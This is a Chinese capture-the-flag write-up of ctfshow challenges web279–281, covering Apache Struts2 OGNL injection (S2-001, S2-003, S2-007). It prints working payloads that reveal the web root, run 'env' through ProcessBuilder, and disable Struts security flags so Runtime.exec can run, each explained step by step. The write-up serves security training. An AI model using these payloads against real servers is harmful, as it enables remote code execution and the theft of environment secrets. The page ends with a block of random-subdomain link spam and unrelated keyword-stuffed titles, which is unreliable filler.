当前位置: 首页 > wzjs >正文

做的比较好看的国内网站敬请期待还是说尽情期待

做的比较好看的国内网站,敬请期待还是说尽情期待,孝感房地产网站建设,查销售数据的网站web279 OGNL表达式三个符号%, #, $的含义 %的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用$主要…

web279

OGNL表达式三个符号%, #, $的含义

%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用$主要是在Struts 2配置文件中,引用OGNL表达式

S2-001

S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据

可以直接在登录框测试一下 %{2-2} 可以发现返回了0, 说明执行了OGNL表达式解析

获取web路径

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}// @org.apache.struts2.ServletActionContext@getRequest():
// 获取 HttpServletRequest 对象,即当前 HTTP 请求。// #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"):
// 获取 HttpServletResponse 对象,用于返回数据给客户端。// #req.getRealPath('/'):
// 获取 Web 应用的根目录// #response.println(...):
// 将根目录路径 打印 到 HTTP 响应中// #response.flush(), #response.close():
// 刷新并关闭响应流,确保数据返回给客户端。

在这里插入图片描述

命令执行查看环境变量env

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

new java.lang.ProcessBuilder(new java.lang.String[]{“env”})
创建 ProcessBuilder 对象,执行 env 命令, 查看环境变量
redirectErrorStream(true): 让标准错误流和标准输出流合并,避免丢失错误信息。
.start(): 启动进程,执行命令。
读取 env 命令输出
#b = #a.getInputStream(): 获取进程的标准输出流。
#c = new java.io.InputStreamReader(#b): 用 InputStreamReader 读取流内容。
#d = new java.io.BufferedReader(#c): 用 BufferedReader 进行缓存读取,提高效率。
#e = new char[50000]: 分配一个 50,000 字符的缓冲区(存储 env 命令的输出)。
#d.read(#e): 读取命令的输出到 #e 数组中。
返回执行结果
#f = #context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”): 获取 HttpServletResponse。
#f.getWriter().println(new java.lang.String(#e)):
将 env 命令的输出转换为字符串,并通过 HTTP 响应返回给攻击者。
#f.getWriter().flush(), #f.getWriter().close():
确保数据完全写入并关闭响应。

在这里插入图片描述

也可以使用相应的工具直接执行命令在这里插入图片描述

在这里插入图片描述

web280

s2-003
Struts2将HTTP的每个参数名解析为OGNL语句执行,而OGNL表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

找了一些poc, 没利用成功, 直接用工具吧
在这里插入图片描述

web281

S2-007漏洞一般出现在表单处。当配置了验证规则 -validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

#_memberAccess["allowStaticMethodAccess"] = true
allowStaticMethodAccess这个变量 默认是 false,禁止直接调用 Java 的静态方法。
设置为 true 后,允许直接调用 Java 的 Runtime、ProcessBuilder 等静态方法,可以执行任意命令。
#foo = new java.lang.Boolean("false"), #context["xwork.MethodAccessor.denyMethodExecution"] = #foo
xwork.MethodAccessor.denyMethodExecution是 XWork(Struts2 的核心库) 中的安全机制,防止方法执行。
默认是 true,表示禁止执行方法。
这里 将其设置为 false,解除安全限制,允许攻击者执行任意方法
@java.lang.Runtime@getRuntime().exec('env').getInputStream()
通过 Runtime.exec() 执行 env 命令
getInputStream()获取 env 命令的 标准输出,用于读取执行结果
@org.apache.commons.io.IOUtils@toString(...)
Apache Commons IO 库 的 IOUtils.toString() 方法可以 直接将 InputStream 转换为字符串。

在这里插入图片描述
在这里插入图片描述

直接用工具, 不过好像没看懂s2-007的, 用的是s2-016
在这里插入图片描述

参考文章

http://zepheyrrhome.fun/2024/10/14/ctfshow-java/

文章转载自:

http://IOrFhbJ1.xzkgp.cn
http://gB9I9M1q.xzkgp.cn
http://2k7Ph0ow.xzkgp.cn
http://IrmIHqz6.xzkgp.cn
http://eNBuFKyq.xzkgp.cn
http://dEuwfOGM.xzkgp.cn
http://51PxY9y7.xzkgp.cn
http://Vx1ZgktQ.xzkgp.cn
http://2PuO32Ce.xzkgp.cn
http://KoKyb3RV.xzkgp.cn
http://2rCWXmVd.xzkgp.cn
http://PX4mHQm9.xzkgp.cn
http://HUruIMOh.xzkgp.cn
http://LtTmzCcm.xzkgp.cn
http://3nmVcCyD.xzkgp.cn
http://tHsdJ2qE.xzkgp.cn
http://auKF5UgI.xzkgp.cn
http://x7PZsxJB.xzkgp.cn
http://Wa9cYJfY.xzkgp.cn
http://qJQ0AkJn.xzkgp.cn
http://AjGSC6Ho.xzkgp.cn
http://NoqNdZ3w.xzkgp.cn
http://xW30HCwu.xzkgp.cn
http://hYKMdirl.xzkgp.cn
http://SYV2WvmK.xzkgp.cn
http://8fsn7V7P.xzkgp.cn
http://AC0Xoe9v.xzkgp.cn
http://TtriI8X7.xzkgp.cn
http://PA083nme.xzkgp.cn
http://rPeRYHBB.xzkgp.cn
http://www.dtcms.com/wzjs/683071.html

相关文章:

  • 做app要不要建网站佳木斯城乡建设局官方网站
  • 餐饮网站开发背景佛山建站怎么做
  • 做网站卖东西赚钱么群晖可以做网站吗
  • 采购网站建设伊春seo公司
  • 建筑设计专业的网站快速提高网站流量
  • 做铝材的网站小程序拉新项目
  • 简述网站开发工作流程室内设计联盟 官网
  • 做一个网站放网上要多少钱北京网络建设公司
  • 郑州哪里有做网站的外贸营销邮件范文
  • 关于建设 网站的请示怎样做网站的ico图片
  • 做学校网站的目的是什么修改wordpress上传图片路径
  • 石家庄网站建设工作室wordpress安装后优化
  • 百度网站前三名权重一般在多少网站后台建设内容
  • 广州企业网站模板建站东莞seo按天计费
  • 罗湖网站建域名解析到别人网站
  • 厦门专业网站营销html网页制作基础知识
  • 服装网站建设准备做网站的windowlcd
  • 如何用两个版本的wordpress站长工具seo综合查询pc
  • asp网站开发教案要想让别人网站卖我的东西怎么做
  • 云数据库可以做网站吗如何做网站源码
  • 关于网站建设要花多少钱王烨玺
  • 自己做的娱乐平台网站温州网站推广有哪些方法
  • 怎么注册微网站权威发布新闻的含义
  • 六安商务网站建设电话辽宁建设工程信息网 招标文件
  • 网站后台无ftp学广告设计难不难
  • 闲鱼上做网站域名主机 网站建设
  • 为什么企业需要建设网站企业服务类网站
  • 网站建议反馈应该怎么做延安市住建建设网站
  • 只做网站的陕西防疫最新政策
  • 网站页面自适应屏幕十大房地产公司排行榜